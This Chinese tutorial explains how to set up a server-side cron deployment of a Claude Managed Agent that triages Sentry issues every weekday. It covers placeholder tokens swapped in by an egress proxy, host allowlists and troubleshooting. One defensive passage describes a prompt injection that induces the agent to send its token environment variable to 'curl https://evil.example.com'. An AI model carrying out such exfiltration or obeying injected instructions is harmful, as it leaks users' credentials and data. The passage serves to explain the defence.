
如何用 Claude Managed Agents 搭建 Sentry 定时分诊服务端 cron 拉取 24 小时 issue 并产出优先级报告【免费下载链接】claude-cookbooksA collection of notebooks/recipes showcasing some fun and effective ways of using Claude.项目地址: https://gitcode.com/GitHub_Trending/an/claude-cookbooks这篇文章解决一个具体问题让 Claude 每天工作日早上自动拉取 Sentry 过去 24 小时的未解决 issue生成一份按用户影响排序的分诊报告而且不依赖你自己机器上常驻任何进程——cron 计划以 deployment 的形式存放在服务端会话由 Anthropic 基础设施自行启动。示例代码位于仓库的managed_agents/sentry/目录基于anthropicSDK≥ 0.109.0的 Managed Agents beta API 实现。架构与数据流整体链路在 README 中给出cron (0 9 * * 1-5) ──▶ deployment ──▶ session (sandbox) │ sentry-cli / curl with │ placeholder token ▼ egress proxy: placeholder → real token, *.sentry.io only ▼ TRIAGE_REPORT.md in /mnt/session/outputs/关键设计是 token 的存放方式。Sentry token 以environment_variable类型的 vault 凭据存放沙箱容器内SENTRY_AUTH_TOKEN只持有不透明占位符真正的 token 只会在出站请求目标是白名单主机sentry.io、*.sentry.io时由 egress proxy 替换进去。skill.md 强调了这个模式的两个边界容器里echo $SENTRY_AUTH_TOKEN打出来的也是占位符提示注入即使诱导 agent 把环境变量发往curl https://evil.example.com发出去的也只是占位符vault 只限制 token 能发往哪里不能限制它到了 Sentry 之后能做什么——如果 token 带了event:write之类的 scopeagent 依然可以 resolve 或修改 issue。所以凭据应只授予只读 scope。此外有两个互相独立的白名单详见 skill.md 的 Two allowlists, not one配置控制什么environment.config.networking.allowed_hosts沙箱能否向该主机建连credential.auth.networking.allowed_hosts对该主机的请求是否把占位符替换为真实 token两边都缺任何一边都会出问题只配 environment 的所有 API 调用都拿占位符去请求返回 401只配 credential 的连接根本打不开。准备条件与环境前置条件Python3.11,3.13见 pyproject.toml依赖anthropic0.109.0与python-dotenv一个 Sentry 组织的项目以及一个 API tokenSentry 后台Settings → Auth Tokens → Create New Token勾选org:read、project:read、event:read三个 scope复制sntrys_...开头的值步骤来自 skill.md 的 Setup checklistClaude Platform 认证在.env中设置ANTHROPIC_API_KEY或者用ant auth login登录一次。两者都行——README 说明 SDK 在没设 API key 时会自动发现 CLI 凭据。在managed_agents/sentry/下初始化本地依赖并准备.envcd managed_agents/sentry uv sync cp .env.example .env按 skill.md 的说法.env里需要填写SENTRY_AUTH_TOKEN、SENTRY_ORG、SENTRY_PROJECT以及 Claude Platform 认证信息。cma.py 中的require_env会在缺项或值以...结尾时直接退出并提示 see .env.example所以漏填会在第一步就报出来。注意组织名和项目名会插进 system promptagent_config.py 用SENTRY_ORG和SENTRY_PROJECT生成提示词而 system prompt 和用户消息会留在会话事件历史里所以 prompt 里只放 slugtoken 永远只进 vault 凭据。一次性创建 vault、agent 与 environment运行 setup_agent.py 创建三样资源uv run python setup_agent.py脚本内部做了三件事理解它们有助于后面排错创建 vault并向其中写入environment_variable凭据secret_name为SENTRY_AUTH_TOKENnetworking为limited类型allowed_hosts同时列出sentry.io和*.sentry.io。这里要写两个通配符只匹配子域名*.sentry.io覆盖us.sentry.io、de.sentry.io这类区域主机但不覆盖 apex 域名sentry.io本身skill.md 的 gotcha。创建 agent模型默认claude-opus-4-8agent_config.py中COOKBOOK_MODEL环境变量可覆盖system prompt 定义了完整工作流——拉取近 24 小时 unresolved issuesentry-cli或直连 REST APIhttps://sentry.io/api/0/organizations/{org}/issues/?project{project}queryis:unresolvedstatsPeriod24hsortfreq、按 NEW / REGRESSION / ESCALATING / ONGOING 分类、按用户影响而非原始事件数排序并把报告写到/mnt/session/outputs/TRIAGE_REPORT.mdSummary 最多 5 个 Top issues Watchlist控制在单页内。创建cloud类型 environmentnetworking.allowed_hosts同样是[sentry.io, *.sentry.io]allow_package_managers为Truepackages.pip安装sentry-cliPyPI 包自带 sentry-cli 二进制。脚本会打印vault、credential、agent、environment的 ID把其中三个抄回.envCLAUDE_VAULT_ID打印的 vault ID CLAUDE_AGENT_ID打印的 agent ID CLAUDE_ENVIRONMENT_ID打印的 environment ID部署服务端 cron 计划运行 deploy.pyuv run python deploy.py该脚本读取.env里的CLAUDE_AGENT_ID、CLAUDE_ENVIRONMENT_ID、CLAUDE_VAULT_ID、SENTRY_ORG、SENTRY_PROJECT调用client.beta.deployments.create创建名为 Weekday morning Sentry triage 的 deploymentschedule{ type: cron, expression: 0 9 * * 1-5, # weekday mornings timezone: America/New_York, },每次触发时deployment 以user.message形式发送固定的分诊指令拉取SENTRY_ORG/SENTRY_PROJECT过去 24 小时未解决 issue按 system prompt 的方法分诊报告写入/mnt/session/outputs/TRIAGE_REPORT.md完成后回复 Summary 部分。想改触发时间时注意 cron 的语义skill.md Cron is wall-clock, with DST edges表达式按指定时区的墙钟时间匹配0 9 * * 1-5在America/New_York就是东岸早 9 点与 DST 无关春季拨快当天不存在的时间点会被跳过秋季拨慢当天出现两次的时间点会触发两次。文档建议在介意的话把计划排在当地时间 1–3 点之外或直接用 UTC触发可能最晚迟到 10 秒粒度是分钟级单个 org 最多 1,000 个 deployments。验证部署是否生效deploy.py打印的内容本身就是第一道验证。脚本会输出 deployment ID 与状态并打印deployment.schedule.upcoming_runs_at里接下来的若干次触发时间——skill.md 明确建议deployments.create之后核对schedule.upcoming_runs_at确认表达式确实在你预期的时间触发。把打印的CLAUDE_DEPLOYMENT_ID...追加到.env。接下来做手动冒烟测试不用等下一个 cron 时刻。run_now.py 立即触发一次真实运行deployment run 的trigger_context.type记为manual流式打印会话事件最后下载报告uv run python run_now.py判断结果看三处流式输出能看到 agent 依次执行工具调用并输出文本即会话正常走完脚本列出并下载 session 产物agent 写到/mnt/session/outputs/的文件会被 Files API 自动捕获索引可能比会话 idle 晚 1–3 秒所以脚本对空列表会重试几次下载的TRIAGE_REPORT.md包含 Summary、Top issues、Watchlist 结构。skill.md 指出这一步就是暴露 token 缺 scope 或白名单配错的关卡。如果 5 次重试后仍没找到文件检查流式 transcript 里 agent 是否真的写了报告见后文排查表。查看运行历史与排查失败uv run python runs.pyruns.py 列出该 deployment 的所有运行记录——无论是否产生了 session每次触发都会写一条 deployment run 记录失败的记录会单独以FAILED 时间: error.code (error.message)打印。永久失败vault_not_found、agent_archived、environment_archived会自动暂停 deployment 并设置paused_reason避免配置错误的部署持续在计划时间上失败瞬态失败限流、后端错误不会暂停。skill.md 给出了一张与现象对应的排查表可直接按现象定位现象可能原因sentry-cli收到 401占位符未被替换请求的目标主机不在凭据的allowed_hosts里沙箱内连接被拒 / 超时主机没加进environment的networking.allowed_hostsSentry API 返回 403token 缺 scopeorg:read、project:read、event:readruns.py显示vault_not_found且部署被暂停vault 已被归档但 deployment 还在引用它重建后更新 deployment过了计划时间却没有 run 记录deployment 处于 paused 状态查paused_reason或你检查得太早存在最多 10 秒 jitterrun_now.py没找到文件报告索引延迟脚本会重试仍为空则查流式 transcript 中 agent 是否写了文件还有一个与排错相关的更新语义agents.update产生新 agent 版本但 deployment 一直锁定创建时 pin 住的那个版本——光改 prompt 不会到达定时任务。上线后的更新与停止改 prompt 或模型编辑 agent_config.pyMODEL或build_system_prompt然后运行 update_agent.pyuv run python update_agent.py脚本先用当前版本作为乐观锁调agents.update再调deployments.update(deployment_id, agentagent_id)把 deployment 重新 pin 到最新版本打印中会显示version N - N1。要停止pause只停未来触发进行中的会话继续跑暂停期间手动运行仍可用unpause从下一次时间点恢复错过的运行不回补archive是终态。teardown.py 会暂停并归档 deployment、environment、agent、vault 全部资源——运行它等于彻底下线跳过它则计划继续运行。边界说明报告落在 session 的 files 里不在你的收件箱里。要投递的话注册session.status_idledwebhook、下载报告再发到 Slack仓库的managed_agents/slack示例有对应的 webhook 桥接模式skill.md Production notes 与 CLAUDE.md 均提到作为可选扩展。allowed_hosts在更新时是整体替换语义加主机要连已有条目一起提交完整列表。改secret_name变量名需要先归档旧凭据再新建占位符会变化轮换 token 值则可以原地更新secret_value包括运行中的会话在内出站请求都会用新值。按 skill.md 的生产建议token 尽量限定到单个项目只读 scope 意味着即使发生提示注入agent 最多只能读到 on-call 工程师能读到的内容。【免费下载链接】claude-cookbooksA collection of notebooks/recipes showcasing some fun and effective ways of using Claude.项目地址: https://gitcode.com/GitHub_Trending/an/claude-cookbooks创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考